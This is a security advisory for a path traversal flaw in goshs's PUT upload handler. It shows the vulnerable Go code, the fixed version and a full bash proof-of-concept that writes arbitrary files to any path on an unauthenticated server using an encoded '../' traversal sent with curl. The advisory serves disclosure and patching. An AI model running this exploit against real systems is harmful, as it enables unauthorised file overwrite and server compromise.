Advisory

GHSA-g8mv-vp7j-qp64

Also known as: CVE-2026-35392, GO-2026-5394

Summary

goshs: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs PUT Upload

Details

Summary

  • PUT upload has no path sanitization | httpserver/updown.go:20-69

This finding affects the default configuration, no flags or authentication required.

Details

File: httpserver/updown.go:20-69
Trigger: PUT /<path> (server.go:57-59 routes directly to put())

The handler uses req.URL.Path raw to build the save path. No filepath.Clean, no .. check, no webroot containment.

func (fs *FileServer) put(w http.ResponseWriter, req *http.Request) {
    upath := req.URL.Path                              // unsanitized

    filename := strings.Split(upath, "/")
    outName := filename[len(filename)-1]

    targetpath := strings.Split(upath, "/")
    targetpath = targetpath[:len(targetpath)-1]
    target := strings.Join(targetpath, "/")

    savepath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, outName)
    // ...
    os.Create(savepath)                                // arbitrary path write

UploadFolder defaults to Webroot (main.go:386-388). The path is pure string concatenation with no validation.

Impact: Unauthenticated arbitrary file write anywhere on the filesystem.

PoCs:

#!/usr/bin/env bash
# Write an arbitrary file on a running goshs instance via PUT.
#
# Usage: ./arbitrary_overwrite1.sh <host> <port> <local-file> <absolute-target-path>

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"

if [ ! -f "$LOCAL_FILE" ]; then
    echo "[-] Local file not found: $LOCAL_FILE"
    exit 1
fi

# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
    TRAVERSAL="${TRAVERSAL}%2e%2e/"
done

# Strip leading / from target
TARGET_REL="${TARGET#/}"

PUT_PATH="/${TRAVERSAL}${TARGET_REL}"

echo "[*] Source:  ${LOCAL_FILE}"
echo "[*] Target:  ${TARGET}"
echo "[*] PUT:     ${PUT_PATH}"
echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    --path-as-is \
    -X PUT --data-binary "@${LOCAL_FILE}" \
    "http://${HOST}:${PORT}${PUT_PATH}")

echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."

To execute it: ./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can

Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2026-04-03 04:07 UTC
Modified
2026-06-25 19:56 UTC

Affected packages and fixes

github.com/patrickhener/goshs

Go · All systems

Affected

  • introduced 0, fixed 1.1.5-0.20260401172448-237f3af891a9 (semver)

Fixed versions

1.1.5-0.20260401172448-237f3af891a9

Fix

  • Fixed version 1.1.5-0.20260401172448-237f3af891a9
    go get github.com/patrickhener/[email protected]

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

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Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences